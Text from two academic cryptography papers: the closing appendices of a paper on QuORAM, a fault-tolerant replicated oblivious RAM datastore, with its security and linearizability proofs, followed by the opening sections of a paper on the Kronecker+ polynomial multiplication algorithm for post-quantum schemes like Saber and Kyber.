data while preserving obliviousness by hiding access patterns.
QuORAM’s novel replication protocol avoids locking – a
standard technique to guarantee linearizability in distributed
data systems – as employing locking can leak non-trivial in-
formation. Because QuORAM’s replication protocol chooses
a decentralized design, QuORAM performs 33.2x better in
throughput compared to relying on CockroachDB for fault
tolerance, which consists of a centralized replication proto-
col. QuORAM’s evaluation with a non-replicated ORAM
baseline establishes the performance benefits of replication:
due to geo-replication, clients can access data from close-by
replicas thus causing QuORAM’s peak throughput to be 2.4x
of the non-replicated baseline. Finally, the experiments in-
dicate that QuORAM incurs negligible overhead to achieve
obliviousness compared to the cost of fault tolerance due to
communication among geo-distributed replicas.
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Appendix
A Security of replicated ORAM datastores

This section discusses obliviousness of QuORAM. Re-
call the ORAM scheme and the security definitions de-
fined in Section 4.2. While the underlying ORAM scheme
TaORAM [31] is proved to be aaob-secure (adaptive
asynchronous obliviousness), QuORAM extends aaob-secure
definition to include logical operations and defines l-aaob-
security in Section 4.2. Logical operations are client requested
read and write operations, which may internally consist of
ORAM read and write operations. l-aaob-secure is an indistin-
guishability based security definition defined using a security
game G in Section 4.2.

Theorem 1: Assuming individual ORAM units are aaob-
secure, QuORAM is l-aaob-secure.
Proof (Sketch): Sahin et al. proved the obliviousness of TaO-
RAM in [31]. The most important property of TaORAM (and
tree-based ORAMs in general) is that every logical access
translates into fetching a random path from the server to the
TaORAM Processor, right after the Processor receives the
logical access request. TaORAM achieves this by initially
randomly shuffling the dataset before uploading to the storage
server, and assigning a new random position to a block after
each access. The position map in TaORAM’s Processor keeps
track of the random positions of all blocks.

We here focus only on the obliviousness of QuORAM,
showing that it is l-aaob-secure. The security game G is
defined in Section 4.2. Because the actual proof involves
similar steps as TaORAM’s, we omit the full proof due to
lack of space but we outline the main steps necessary for
the formal argument. The following are the key properties of
QuORAM in arguing for its l-aaob-security:

1) During initialization, the game shuffles the data set Db
(after encryption) chosen by the adversary as done in TaO-
RAM. Note that a consequence of this is that no two external
servers store Db in the same order.

2) QuORAM’s replication protocol always accesses a quo-
rum (majority) of ORAM units for the query phase and the
same quorum for the propagate phase. An adversary A ob-
serving the communication between a client and the ORAM
units sees 2 rounds of communication between the client and
a quorum, for either type of logical operations, irrespective of
the address or content of the block accessed.

3) In executing a logical operation, a proxy, p, is either part
of the quorum or not. If p is part of the quorum, it always
receives o_read before o_write (if o_read was dropped, the
proxy sends negative acknowledgement for the o_write).

4) Given the fixed order of ORAM read and write requests
for each logical request, in response to o_read, a proxy al-
ways fetches exactly one random path, either real or fake,
from the server. There are three ways in which a path may
become ready to be written back to the server. 1) The client
sends an o_write, and then the path fetched for the corre-
sponding o_read becomes ready to be written back. 2) The
incompleteCacheMap becomes full and it chooses an entry
to evict according to the eviction policy; the path associated
with that entry becomes ready to be written back. 3) A path
fetched by the daemon process is ready to be written back.
When the number of paths to be written back accumulates to k,
the proxy writes them back in a batch. Importantly, the adver-
sary can predict the trigger for each of the case above, since
1) it observes every o_read and o_write requests from the
client and knows the random path fetched for each o_read, 2)
it can deduce the entries that reside in incompleteCacheMap
and when it becomes full and which entry should be evicted,
and 3) the adversary predicts the access from the daemon pro-
cess (based on the preset interval). Therefore, observing the
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write-backs to the server reveals no non-trivial information.
5) The incompleteCacheMap in QuORAM identifies blocks

that are read but not yet written. Maintaining this information
crucially avoids re-fetching a path from the server for a given
logical request. Further, even if the incompleteCacheMap
evicts an in-progress block, the proxy still retains the block
locally until it is written back to the server.

6) If an adversary A crashes either a server or a proxy,
especially in the middle of a query or a propagate phase, A
observes the client, executing the protocol, randomly access
another ORAM unit and send two sequential requests (query
followed by propagate) to this additional unit.

7) The game notifies the completion of a logical operation
to the adversary only after a quorum of ORAM units com-
plete executing both the query and propagate phase. If the
adversary delays scheduling one or more messages in either
of the phases, it receives delayed notification from the game.

In the security game (defined in game G in §4.2), an ad-
versary generates two data sets of the same size D0 and D1
and schedules multiple but finite pairs of logical requests
(lop0,m, lop1,m), where m identifies each request pair gener-
ated by the adversary. The game randomly picks the chal-
lenge bit b ∈ {0,1} and stores only Db in QuORAM and
executes only lopb,m from each request pair. To store Db in
QuORAM, the game calls Rep-ORAM on Db by invoking
Db

encKi
,Ki←Encodei(Db) for each ORAM unit i. The external

server and the proxy of an ORAM unit i store the encrypted
data DencKi and the secret key Ki, respectively. The game exe-
cutes QuORAM’s replication protocol as defined in §5.1 for
each logical request lopb,m. The adversary does not see the
output value of any operation it schedules (if it did, it would be
trivial to guess the challenge bit). To prove that QuORAM is
l-aaob-secure, we need to argue that an adversary has negligi-
ble advantage over randomly guessing the value of challenge
bit b.

To do this, we show that from the adversary’s point of view,
it cannot distinguish a real execution of the game with a sim-
ulated game that does not use Db or lopb,m for either b. First,
instead of storing Db, the simulated game stores encryption
of dummy blocks (e.g., zero-value) and replaces block values
in each lopb,m logical request also with encryption of dummy
blocks. Next, it simulates the view of the adversary as follows:

(i). For each o_read request, a quorum (majority) of
ORAM unit proxies are accessed; (ii). After the first access,
the proxies always fetch one random path from the server and
upon receiving the server response, proxies send a (response)
message back; (iii) For each o_write request, the same quo-
rum of ORAM unit proxies are accessed the second time, and
they return to the client a small (acknowledgement) message;
(iv) The simulator keeps track of the paths that are ready to be
written-back triggered by o_write, as well as entries evicted
from the incompleteCacheMap and accesses by the daemon
process, and batch-write k paths back to the server, whenever
k paths become ready.

Based on the above discussed properties of QuORAM,
we assert that the adversary cannot distinguish the access
behavior in the real and simulated cases, even in the presence
of crash failures. This implies the l-aaob-secure of QuORAM.

B Linearizability
As noted in TaoStore [31], the correctness of a read or write
operation differs from the obliviousness of the operation. Sim-
ilar to TaORAM [31], QuORAM defines correctness using
linearizability or atomic semantics: to an external observer, a
client operation appears to take effect at a specific instance
between the operation’s invocation and its response indicating
the operation’s success. This section proves the correctness
of QuORAM.

To argue for the correctness of QuORAM, we use the game
G defined in Section 4.2 where the adversary schedules logi-
cal read/write operations but with a slight modification where
the adversary now receives the response values and hence the
challenge bit is non-existent. We call the modified game Gcorr
and use it in arguing correctness.

Definitions: A history Hist represents a sequence of logical
read/write operations, viewed as the transcript after executing
game Gcorr. Each operation opi in Hist consists of an invo-
cation event invi and a response event respi (which occurs
after a successful propagate phase in QuORAM). A history
is said to be complete if for every invocation event invi in the
history there exists a corresponding response event respi; and
otherwise the history is said to be partial.

We represent each operation opi as (opid ,bId, tagi,vi,ui)
where opid identifies a globally unique logical operation, bId
identifies a data block, tagi represents a non-decreasing tag
associated with the block, vi equals ⊥ for read operations and
otherwise block’s value to be updated with, and ui indicates
the existing value of the block prior to executing opi, derived
by a client after the query phase of opi.

Similar to [31],≤lin defines a linearizable relation between
any two operations opi and op j: opi ≤lin op j implies respi
precedes inv j in a given history. We note that linearizability is
defined for a single data block, i.e., both opi and op j operate
on the same block bId. Given a complete and finite history of
operations executed by QuORAM, this section proves QuO-
RAM is linearizable, provided any adversary A eventually
delivers all messages (after delaying and/or reordering).
Lemma 1: A block bId’s response value ui, derived by a
client after a successful query phase of an operation opi, cor-
responds to bId’s highest tagged value.
Proof : Since each logical request in QuORAM reads from
and writes to a (majority) quorum, there exists at least one
over-lapping ORAM unit between any two logical requests.
For each ORAM unit, TaORAM [31] guarantees that the unit
maintains fresh-subtree invariant: “The contents on the paths
in the local subtree and stash are always up-to-date, while the
server contains the most up-to-date content for the remaining
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blocks”. Thus, when a client executes the query phase of a
logical operation opi, at least one ORAM unit answers with
block bId’s value ui corresponding to the highest tag (either
from the ORAM unit’s proxy or the server), proving Lemma
1 holds. □

Lemma 2: Tags of a block bId maintained by an ORAM
unit (either at the proxy or at the server) are monotonically
non-decreasing.
Proof : As described in Algorithm 1, clients in QuORAM
either retains tag values (for reads) or increments them (for
writes) but never decrements tag values. Lemma 1 shows that
a client always receives the highest tag for a block while exe-
cuting the query phase, which it may retain or increment based
on the type of the operation. Further, as discussed in §5.1,
an ORAM unit’s proxy updates a block’s tag after receiving
an o_write request if and only if the new tag is greater than
the block’s current tag. Based on the above arguments, it is
shown that Lemma 2 holds. □

In our proposed system, linearizability captures two main
relations between any two operations in a history: (i) the tag
values of any two completed logical operations have a strict
< or ≤ relation; and (ii) a given logical operation – read or
write – is atomic. The former point captures the relative or-
dering of logical operations. The latter point implies that if an
operation opi wrote a block, then an operation op j immedi-
ately succeeding opi must read the block written by opi; and
if operation opi merely read a block without writing it, then
operation op j immediately succeeding opi must also read
the same value as opi. We formally define the two relations
captured by linearizability as follows.
Definition 1: A complete and finite history Hist is linearizable
if for any two logical operations opi = (bId, tagi,vi,ui) and
op j = (bId, tag j,v j,u j), and opi, op j ∈ Hist, the following
conditions hold:

1 if opi precedes op j, then (i) tagi < tag j if op j is a write
operation, or (ii) tagi ≤ tag j if op j is a read operation.

2 if opi precedes op j such that tagi is the highest tag less
than or equal to tag j, then (i) u j = vi if vi ̸=⊥ (opi is a
write), or (ii) u j = ui if vi =⊥ (opi is a read).

Theorem 2: QuORAM provides linearizability.
Proof : 1 To prove the first condition, we consider the two
possible types of operations op j can be:

(i) If op j is a write: From Lemma 1 and 2, a logical write
always increments the highest tag of a block. Since op j is a
write, and opi may or may not be, due to the quorum inter-
section, op j receives the highest tag in its query phase and
increments it. Hence, the tag of op j is strictly greater than
that of opi.

(ii) If op j is a read: From Lemma 1 and 2, given the tag
of a block is monotonically non-decreasing, we know that
tag j ≮ tagi, as opi precedes op j. Since tags are incremented
only on writes, if no write took place between opi and op j,

then tagi = tag j; whereas if a write operation opk occurred
after opi and before op j, then tagi < tagk (from step (i)), and
by transitivity, tagi < tag j. This is true for any number of
write operations between opi and op j. Hence, tagi ≤ tag j.

2 Given that tagi is the highest tag less than or equal
to tag j, irrespective of the type of operation of op j, due to
Lemma 1, when op j executes the query phase, it receives the
current highest tag of the block, i.e., tagi and its associated
value. (i) Now, if opi wrote the block, then the block’s value is
vi and hence when op j queries the block, it receives vi. Thus
u j = vi. This shows that writes are atomic as any operation
executing after a write reads the updated value.

(ii) If opi merely read the value, which was equal to ui,
then since op j immediately succeeds opi for block bId, op j’s
read value also equals ui as no other operation updated the
block. Thus ui = u j. This shows that reads are atomic. □

C Stash size analysis
This section analyzes QuORAM’s stash size and the space
utilized at the proxy can be found in the extended report [28].
Lemma 3: Similar to TaORAM, QuORAM’s stash size is
bounded by any function F(N) = ω·logN, except with negligi-
ble probability in N.
Proof: The core idea of this proof lies in mapping the execu-
tion of QuORAM to that of TaORAM in a straight-forward
way. TaORAM’s stash size is proved to be bounded by a func-
tion F(N) = ω · logN (e.g., F(N) = (logloglogN) · logN) and
by mapping QuORAM’s execution to that of TaORAM we
prove that QuORAM has the same stash size guarantees as
TaORAM.

To analyze QuORAM’s stash size, recall the details of the
unbounded space issue and its solution discussed in §5.2.2.
The memory issue is caused due to the asynchrony in receiv-
ing o_read and o_write requests for a logical request; if
a proxy initiates a write-back in between receiving the two
requests, and if the o_read had triggered a fake read, the
proxy cannot delete the block after receiving a write acknowl-
edgement from the server. This is because the block’s latest
o_write arrived after the proxy initiated the write-back. In
the unlikely case that this block or any block in its path is
never accessed again, this block will always reside in the Sub-
tree. This may in-turn affect the size of the Stash. QuORAM
mitigates this issue by moving such blocks to excessBlocks
datastructure and the daemon process in each proxy accesses
(i.e., mimics o_reads and o_writes) blocks in the excess-
Blocks at pre-set intervals of time. This can be viewed as, from
TaORAM’s perspective, all blocks that can be deleted after
receiving a write-back acknowledgement from the server will
be deleted from the Subtree (and some may move to excess-
Blocks). As seen with this abstraction, QuORAM relies on
TaORAM’s logic of freeing the Subtree, without any changes,
and hence QuORAM’s stash size analysis follows that of TaO-
RAM and the size is bounded by any function F(N) = ω·logN,
except with negligible probability in N. □
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Abstract

There are currently over 30 billion IoT (Internet of Things)

devices installed worldwide. To secure these devices from

various threats one often relies on public-key cryptographic

primitives whose operations can be costly to compute on

resource-constrained IoT devices. To support such operations

these devices often include a dedicated co-processor for cryp-

tographic procedures, typically in the form of a big integer

arithmetic unit. Such existing arithmetic co-processors do

not offer the functionality that is expected by upcoming post-

quantum cryptographic primitives. Regardless, contemporary

systems may exist in the field for many years to come.

In this paper we propose the Kronecker+ algorithm for

polynomial multiplication in rings of the form Z[X ]/(Xn
+1):

the arithmetic foundation of many lattice-based cryptographic

schemes. We discuss how Kronecker+ allows for re-use of

existing co-processors for post-quantum cryptography, and

in particular directly applies to the various finalists in the

post-quantum standardization effort led by NIST. We demon-

strate the effectiveness of our algorithm in practice by in-

tegrating Kronecker+ into Saber: one of the finalists in the

ongoing NIST standardization effort. On our target platform, a

RV32IMC with access to a dedicated arithmetic co-processor

designed to accelerate RSA and ECC, Kronecker+ performs

the matrix multiplication 2.8 times faster than regular Kro-

necker substitution and 1.7 times faster than Harvey’s negated-

evaluation-points method.

1 Introduction

The number of IoT devices has steadily outgrown the number

of humans living on this planet and is expected to keep in-

creasing [22]. To secure these and many other devices, Elliptic

Curve Cryptography (ECC) [19, 23] and the Rivest–Shamir–

Adleman (RSA) [30] algorithm are vital components in our

public-key infrastructure based on secure key exchange and

digital signatures. On these embedded (IoT) devices speed

is a key performance indicator. To enable them to securely

and efficiently execute the complex cryptographic algorithms,

many have access to dedicated hardware accelerators or so-

called co-processors. Typically, for ECC and RSA these co-

processors consist of a hardware-supported instruction set

that enables the device to compute large-integer arithmetic

routines efficiently and securely.

With the steady progress in the development of a quan-

tum computer, the security of our public-key infrastructure

is being threatened. When a full-scale quantum computer

would become a reality, Shor’s algorithm [34] is able to re-

cover private keys used in ECC/RSA in polynomial time. To

prepare for this threat, alternative cryptographic algorithms

are necessary; these are called post-quantum, or quantum-

safe, cryptographic algorithms. In an effort to standardize

such algorithms the US National Institute of Standards and

Technology (NIST) put out a call for proposals [25] for cryp-

tographers to submit candidate algorithms in 2016. As of July

2020, seven out of fifteen remaining candidates are marked

as finalists of which a subset is expected to be standardized

in the upcoming three years.

For embedded devices the migration to completely new

public-key cryptography algorithms results in multiple practi-

cal challenges. None of the seven finalists require large integer

arithmetic, which is the computationally expensive operation

in both ECC and RSA and exactly what is offered by existing

public-key co-processors. Adding new dedicated hardware

support means a significant investment for new generations of

devices that cannot be started yet as it is not clear which can-

didate schemes will be standardized. Additionally, the design,

testing and (most prominently) the migration time for these

co-processors is expected to span many years if not decades.

Five of the finalists do have in common that they are so

called ring-based lattice schemes. For these schemes the pri-

mary bottleneck in terms of performance is to multiply poly-

nomials with integer coefficients: a typical example is to work

with polynomials from Z[X ]/(Xn
+ 1) where n is a power

of two. At CHES 2019, Albrecht, Hanser, Hoeller, Pöppel-

mann, Virdia and Wallner [1] proposed to apply Harvey’s

improvements [16] to Kronecker substitution [20, 32] to con-
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vert polynomial multiplication to large integer multiplica-

tion and thereby unlock the potential of the already existing

co-processors. Subsequently, this approach was explored by

Wang, Gu and Yang for application to post-quantum crypto

scheme Saber [38].

In this paper we expand on this line of research and present

a new method to realize fast polynomial arithmetic implemen-

tations on embedded devices which have access to commonly

used arithmetic co-processors. We show how one can general-

ize Harvey’s negated-evaluation-points technique such that it

works in polynomial rings as frequently used in post-quantum

cryptography. Harvey’s algorithm is originally referred to as

multipoint Kronecker substitution; by evaluating a polyno-

mial at 2 appropriately chosen inputs, the method allows the

polynomial product to be computed as two integer multipli-

cations of half length each with respect to regular Kronecker

substitution. However, the method does not generalize further;

since the polynomial is evaluated at roots of unity in Z, where

the only choices are±1, one can choose at most 2 such points.

We present the Kronecker+ algorithm that generalizes Har-

vey’s algorithm to rings of the form Z[X ]/(Xn
+ 1), which

after an application of Kronecker substitution does have roots

of unity of appropriate degrees. This enables evaluation at

t = 2τ different points and splits up the integer multiplication

into t multiplications of 1/t times the bit-length of Kronecker

substitution. If the cost of integer multiplication of bit-length

b is M(b), the cost of Kronecker+ is t ·M(b/t)+O(b). Per-

forming t smaller multiplication of b/t bits is significantly

faster than computing a single b-bit multiplication especially

for the sizes of integers we consider in this work (where M(b)

can grow up to quadratic in b). Therefore, significant practical

advantages can be expected from Kronecker+ if the overhead

hidden in the O(b) term is small enough.

This is a generalization of previous work; setting t = 1

corresponds to Kronecker substitution and t = 2 to Harvey’s

negated-evaluation-points algorithm. As is the case for Har-

vey’s method, the optimal choice for t in an implementation

depends on the overhead hidden in the asymptotic factor O(b).

As we shall see in Section 3, Kronecker+ closely resembles

an NTT and therefore O(b) scales approximately with t log t.

In particular, for larger b we can expect larger t to have a posi-

tive effect; but even for current cryptographic sizes (b= 8192)

we shall see in Section 4 that t = 8 leads to the most efficient

implementation on our selected platform. Note that Harvey

also presents an algorithm with cost 4 ·M(b/4) by using re-

ciprocal evaluation points, but the overhead in the O(b) term

is much larger than is the case when using negated evalua-

tion points. For this same reason it was discarded in previous

work [1, 12], as it does not seem to improve efficiency for

cryptographic parameter sizes.

The Kronecker+ method can also be viewed as a variant of

Nussbaumer polynomial multiplication [26] combined with

Kronecker substitution. Whereas Nussbaumer’s method re-

quires doubling the polynomial size by padding with zeroes

Algorithm # Muls # Bits

Kronecker (KS1) 1 ℓn+1

Harvey (KS2/KS3) 2 ℓn/2+1

Harvey (KS4) 4 ℓn/4+1

Kronecker + Karatsuba 3log t
(ℓn+1)/t

Kronecker + Toom-Cook-t 2t−1 (ℓn+1)/t

Kronecker + Schön.-Strassen t 2ℓn/t + t +1

Nussbaumer + Kronecker 2t ℓn/t +1

Kronecker+ (this work) t ℓn/t +1

Table 1: Comparison of number of multiplications of certain

bit length required for multiplying two polynomials with n

coefficients each. Here ℓ is the parameter for Kronecker sub-

stitution (i.e., evaluating at 2ℓ) and t specifies the depth (if

applicable) of the algorithm.

by lifting to a ring where a (symbolic) cyclic NTT is possi-

ble, we show that this is no longer necessary when smartly

combining Nussbaumer with Kronecker substitution. More

concretely, Kronecker+ halves the number of integer mul-

tiplications compared to a naïve application of Kronecker

substitution to Nussbaumer without affecting the overhead of

the transformation, and therefore results in a more efficient

polynomial multiplication on contemporary co-processors.

Similarly, Kronecker+ halves the bit-lengths of multiplica-

tions when compared to the Schönhage-Strassen [31] algo-

rithm. We refer to §2 for much more detailed descriptions of

all involved algorithms.

We can of course also combine the large integer multipli-

cation from Kronecker substitution with other well-known

integer multiplication methods. For example, Karatsuba [18]

replaces one multiplication of b bits with 3 multiplications

and 7 additions (or subtractions) of b/2 bits and can be ap-

plied recursively. In addition, r-way Toom-Cook [9, 36] gen-

eralizes this multiplication approach and replaces one b-bit

multiplication with 2r−1 multiplications of approximately

b/r bits plus some overhead for the evaluation and interpola-

tion formula used (r = 2-way Toom-Cook is approximately

equivalent to one layer of Karatsuba). The implementation

of 4-way Toom-Cook in the reference code of Saber uses 11

and 19 additions for evaluation and interpolation respectively,

plus additional shifts and multiplications by (small) constants.

For comparison, Kronecker+ requires t multiplications and

3t log t additions (t log t for each of the forward and backward

transformations) for a single multiplication. Therefore for

t = 2 an application of Kronecker+ requires fewer b/2-bit

multiplications and additions than a single layer of Karatsuba,

while with t = 4 Kronecker+ needs fewer b/4-bit multiplica-

tions and additions than 4-way Toom-Cook.

A high-level overview on how to perceive our contribution

in light of the various available multiplication approaches that

can be combined with Kronecker is shown in Table 1. As far
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as we are aware, this was not done or considered in case of

Schönhage-Strassen and Nussbaumer in previous work. As

stated before, Table 1 shows the Kronecker+ method either

requires fewer multiplications than any other method, or re-

quires the same number of multiplications of smaller size.

Again, it should be noted that the number of multiplications

does not tell the full story since each of the methods is accom-

panied by transformational overhead, usually in the form of

additions or multiplications by small constants. However, the

overhead of Kronecker+ is comparable to that of a regular

NTT and of complexity O(t log t) by employing the Cooley-

Tukey butterfly approach [10]. Especially for small values

of τ, the overhead of the transformations is small compared

to layers of Nussbaumer, Schönhage-Strassen, Karatsuba or

Toom-Cook.

In the setting of the NIST finalist Kyber [33] (which is

almost identical to Saber [11] for our purposes), and more

specifically for the parameters of Kyber-768 (n = 256 and

ℓ= 32), it is shown in [1] that one polynomial multiplication

can be computed using the standard Kronecker substitution

approach with a single multiplication of 8193 bits, and using

Harvey’s negated-evaluation-points technique with two inte-

ger multiplications of 4097 bits each. Kronecker+ enables

further division into exactly t = 2τ integer multiplications of

8196/t +1 bits each, where τ < 6 is a positive integer. The

optimal choice of τ will strongly depend on platform-specific

details. We refer to §4 for more details with respect to our

target platform.

In short, we summarize our contributions as follows:

1. We design Kronecker+, a polynomial multiplication

method that generalizes the techniques of Harvey and

Nussbaumer to reduce polynomial to integer multiplica-

tions, enabling the use of contemporary co-processors.

2. We provide a detailed performance analysis of

Kronecker+. In doing so, we also analyze the efficiency

of the existing multipoint Kronecker substitution whose

runtime was only computed asymptotically.

3. We integrate Kronecker+ into the NIST finalist Saber to

demonstrate its applicability to leading post-quantum

cryptography schemes. Our target platform is the

RV32IMC which implements the basic 32-bit integer in-

struction set of RISC-V together with (among others) the

M-extension of multiplication and division instructions.

This platform has access to a dedicated arithmetic co-

processor designed to accelerate RSA and ECC and can

perform arbitrary length (modular) arithmetic. Applying

Kronecker+ (with τ = 3) to the matrix multiplication

in Saber results in a factor 9.7 speedup over a plain-C

implementation on the RISC-V platform, and speedup

factors of 2.8 and 1.7 compared to Kronecker substitu-

tion and Harvey’s negated-evaluation-points methods,

respectively.

For the benefit of the reader, we will include high-level

Sage [35] code to simplify verification of the correctness of

Kronecker+ in the public version of this paper.

2 Preliminaries

2.1 NIST PQC Candidates

Of the fifteen remaining candidates in the third round of the

NIST standardization effort, seven are lattice-based. These

are CRYSTALS-Kyber [33], NTRU [39], Saber [11] (KEM

finalists), CRYSTALS-Dilithium [21], Falcon [29] (digital sig-

nature finalists), FrodoKEM [24] and NTRU Prime [3] (KEM

alternates). For our purposes the most interesting candidates

are Kyber, Saber and Dilithium whose main ring operations

are performed in Zq[X ]/(Xn
+1) for some choice of q and n

fixed across all parameter sets. Many of our results can also

be applied to NTRU and NTRU Prime, though one would

have to change rings which in practice means doubling the

size of the involved polynomials. A similar statement holds

for the non-FFT operations in Falcon, while FrodoKEM does

not contain any polynomial multiplication at all.

2.2 Polynomial Multiplication

Let f = ∑
n−1
i=0 fiX

i and g = ∑
n−1
i=0 giX

i
∈ Z[X ] be two poly-

nomials of degree less than n. In this section we describe

various methods that exist in the literature to compute the

multiplication h = ( f ·g) mod (Xn
+1). For many algorithms

the reduction modulo Xn
+ 1 has little effect, as it is only

applied (in a straightforward manner) after the more involved

multiplication in Z[X ]. However, we include it here as it is

crucial for some of the polynomial multiplication algorithms

under discussion (e.g., Nussbaumer and Schönhage-Strassen)

and is relevant for cryptographic schemes that apply them

(e.g., Kyber and Saber). For these algorithms we introduce an

additional parameter t, which is a positive integer dividing n.

Note that in this section we are assuming that the polyno-

mial multiplications are performed in (quotient rings of) Z[X ].

Most algorithms however can be applied more generally over

other rings R . In this case there is an extra assumption that

multiplication by t and 2t are injective maps, and hence that

they can be inverted. This always holds for Z, but does not

necessarily hold for general rings R .

All algorithms that we describe are well known, so one

could argue that a detailed description is not necessary. We

have opted to include it here for completeness, as they appear

scattered over the literature with varying notation and level

of detail. We add the relevant references in the respective

sections. Moreover, presenting them in a single framework

with unified notation will make it easier to introduce our own

contributions (and, hopefully, highlight the elegance of their

simplicity). Finally, inspired by Harvey [16], we set up a small
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running example to ease the comparison between different

(relevant) multiplication methods.

Example 1. Let f and g be the two arbitrarily chosen

polynomials f (X) = −3−3X2
−X3

−2X5
+X6

−3X7 and

g(X) = 3+X +3X2
+2X3

−2X4
+3X5

+3X6, whose coef-

ficients can be represented with 3 bits in the interval [−3,3].
The goal is to compute the product h = ( f · g) mod X8

+ 1,

which is easily checked to be the polynomial h(X) = 7+3X−

4X2
−15X3

+2X4
−15X5

−4X6
−21X7.

2.2.1 Karatsuba and Toom-Cook

Karatsuba [18] and its generalization Toom-Cook [9, 36] are

multiplication methods which are asymptotically faster com-

pared to the schoolbook algorithm, which runs in O(N2
) for

N×N→ 2N bit multiplication. The idea behind k-way Toom-

Cook (where k = 1 is equal to schoolbook and k = 2 essen-

tially to Karatsuba) is to split the single N-bit multiplication

into 2k− 1 multiplications of approximately N/k bits such

that the run-time is O(Nlog(2k−1)/ log(k)
). This is done by eval-

uating the polynomials at 2k−1 distinct points, and perform-

ing an interpolation after having performed 2k− 1 smaller

multiplications. See [5] for more details on how to optimally

compute the Toom-Cook multiplication.

The 2-way (O(N1.585
)), 3-way (O(N1.465

)) or 4-way

(O(N1.404
)) version of Toom-Cook are popular approaches to

multiply medium-sized integers and have been applied in a

variety of settings in cryptography.

2.2.2 Fast Fourier Transform in a Finite Field

Pollard showed how to define a transform in the finite field

Zq of integers modulo a prime q, analogous to the dis-

crete Fourier transform, which can be computed using a Fast

Fourier Transform (FTT) algorithm [28]. In cryptography

this is often referred to as the Number Theoretic Transform

(NTT). In this case we want to compute a polynomial product

of f ,g ∈ Zq[X ]/(Xn
+1), where 2n | (q−1), so that the mul-

tiplicative group Z
∗
q contains a principal 2n-th root of unity ζ.

We can then use the Chinese remainder theorem to construct

the isomorphism

Zq[X ]/(Xn
+1)∼= ∏

n−1
i=0 Zq[X ]/(X−ζ

2i+1
)

f 7→ ( f (ζ1
), f (ζ3

), . . . , f (ζ2n−1
)) .

By applying this isomorphism to f and g, their product can

be reduced to n multiplications in Zq. As q is typically fairly

small (e.g., 12 and 23 bits for the latest versions of Kyber

and Dilithium, respectively), this is not interesting for modern

co-processors which are aimed at hundreds or thousands of

bits for ECC or RSA. Note that similar constructions can be

made with n-th principal roots of unity, requiring only that

n | (q−1), which is done for instance by Kyber. We do not

elaborate on this further here.

2.2.3 Nussbaumer

This algorithm was designed in 1980 and is named after its

creator [26]. We base our description on those of Bernstein [4,

§9] and the bachelor thesis of Van der Lubbe [37, §3.1]. The

first step is to apply the transformation

Ψ : Z[X ]/(Xn
+1)→ (Z[Y ]/(Y n/t

+1))[X ]/(Y −X t
) , (1)

f = ∑
n−1
i=0 fiX

i
7→Ψ( f ) = ∑

t−1
i=0

(

∑
n/t−1
j=0 fi+ jtY

j
)

X i .

As the polynomial Ψ( f ) has degree less than t in X , we can

trivially lift it to (Z[Y ]/(Y n/t
+1))[X ] and view it as a polyno-

mial in (Z[Y ]/(Y n/t
+1))[X ]/(X2t

−1) where the coefficients

of Ψ( f ) for the monomials X i for i = t, . . . ,2t−1 are 0. Sim-

ilarly we obtain Ψ(g).

As the coefficient ring Z[Y ]/(Y n/t
+1) contains the 2t-th

principal root of unity ζ = Y n/t2
, we can apply a cyclic NTT

with respect to ζ. For this we require the additional restriction

on t that t2
| n, as opposed to only t | n. More concretely, we

compute

Ψ(h)(ζi
) =Ψ( f )(ζi

) ·Ψ(g)(ζi
) , for i= 0, . . . ,2t−1 , (2)

from which we can compute 2t ·H j = ∑
2t−1
i=0 Ψ(h)(ζi

)ζ
− ji. As

Ψ(h) = ∑
2t−1
j=0 H j(Y )X

j, we can recover h by dividing by 2t

(recall that multiplication by 2t was assumed to be injective),

reducing modulo Y −X t and inverting Ψ.

The main cost of the algorithm is in Equation (2). The si-

multaneous evaluation of Ψ( f ) at all the roots of unity ζ
i can

be computed with a Cooley-Tukey butterfly algorithm [10]

with complexity O(t log t). The multiplications are in the ring

Z[Y ]/(Y n/t
+ 1), so consist of 2t multiplications of polyno-

mials with n/t coefficients each. Of course there is a clear

possibility for recursion, but such an analysis is not of interest

for our purposes.

This Nussbaumer algorithm was applied [37] to to the post-

quantum crypto scheme NewHope [2, 6] and in the setting of

homomorphic encryption [7].

Example 2. Let f and g be as chosen in Example 1. As
Nussbaumer requires that t2

| n, the largest choice for n = 8
we can make is t = 2. Splitting the ring, we find

Ψ( f ) = Y 3
−3Y −3+(−3Y 3

−2Y 2
−Y ) ·X ,

Ψ(g) = 3Y 3
−2Y 2

+3Y +3+(3Y 2
+2Y +1) ·X ,

as polynomials modulo Y −X2. Lifting to (Z[Y ]/(Y 4
+1))[X ]

and viewing them as polynomials modulo X4
−1 by setting

the coefficients of X2 and X3 to be zero, we can apply the

cyclic NTT with respect to 4-th root of unity Y 2. In other
words,

[Ψ( f )(1),Ψ( f )(Y 2
),Ψ( f )(Y 4

),Ψ( f )(Y 6
)] =

[−2Y 3
−2Y 2

−4Y −3,−1,4Y 3
+2Y 2

−2Y −3,2Y 3
−6Y −5] ,

[Ψ(g)(1),Ψ(g)(Y 2
),Ψ(g)(Y 4

),Ψ(g)(Y 6
)] =

[3Y 3
+Y 2

+5Y +4,5Y 3
−Y 2

+3Y,3Y 3
−5Y 2

+Y +2,Y 3
−3Y 2

+3Y +6] .
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Multiplying pairwise modulo Y 4
+ 1, we get

[Ψ(h)(1),Ψ(h)(Y 2
),Ψ(h)(Y 4

),Ψ(h)(Y 6
)] as −31Y 3

−

25Y 2
− 23Y + 12,−5Y 3

+ Y 2
− 3Y,11Y 3

+ 5Y 2
+ 7Y + 6,

25Y 3
− 5Y 2

− 45Y − 30]. Inverting the transform with

respect to Y 2 (i.e., applying the same NTT with Y 6),

we obtain [−6Y 2
− 16Y − 3,−21Y 3

− 15Y 2
− 15Y + 3,

−10Y 3
− 4Y 2

+ 8Y + 12,0]. Finally setting Y = X2, view-

ing the tuple as the coefficients of a polynomial in X (where

0 is the coefficient of X3) and reducing modulo X8
+ 1, we

obtain h.

2.3 Utilizing Integer Multipliers

The problem of multiplying polynomials and the problem

of integer multiplication are extremely related. The two can

be linked by way of Kronecker substitution, which we first

expand on in §2.3.1. This method has been further investi-

gated by Harvey and afterwards been applied to Kyber and

Saber, which we explain in §2.3.2. Finally we consider the

Schönhage-Strassen algorithm in §2.3.3.

2.3.1 Kronecker Substitution

In 1882, Kronecker introduced a method to reduce computa-

tional problems related to multivariate polynomials to those

related to univariate polynomials [20]. A hundred years later,

a similar technique was introduced by Schönhage to reduce

polynomial multiplications in Z[X ] to integer multiplication

(multiplication in Z) [32]. This approach is known as the

Kronecker substitution method.

The idea behind the method is to evaluate the polynomials

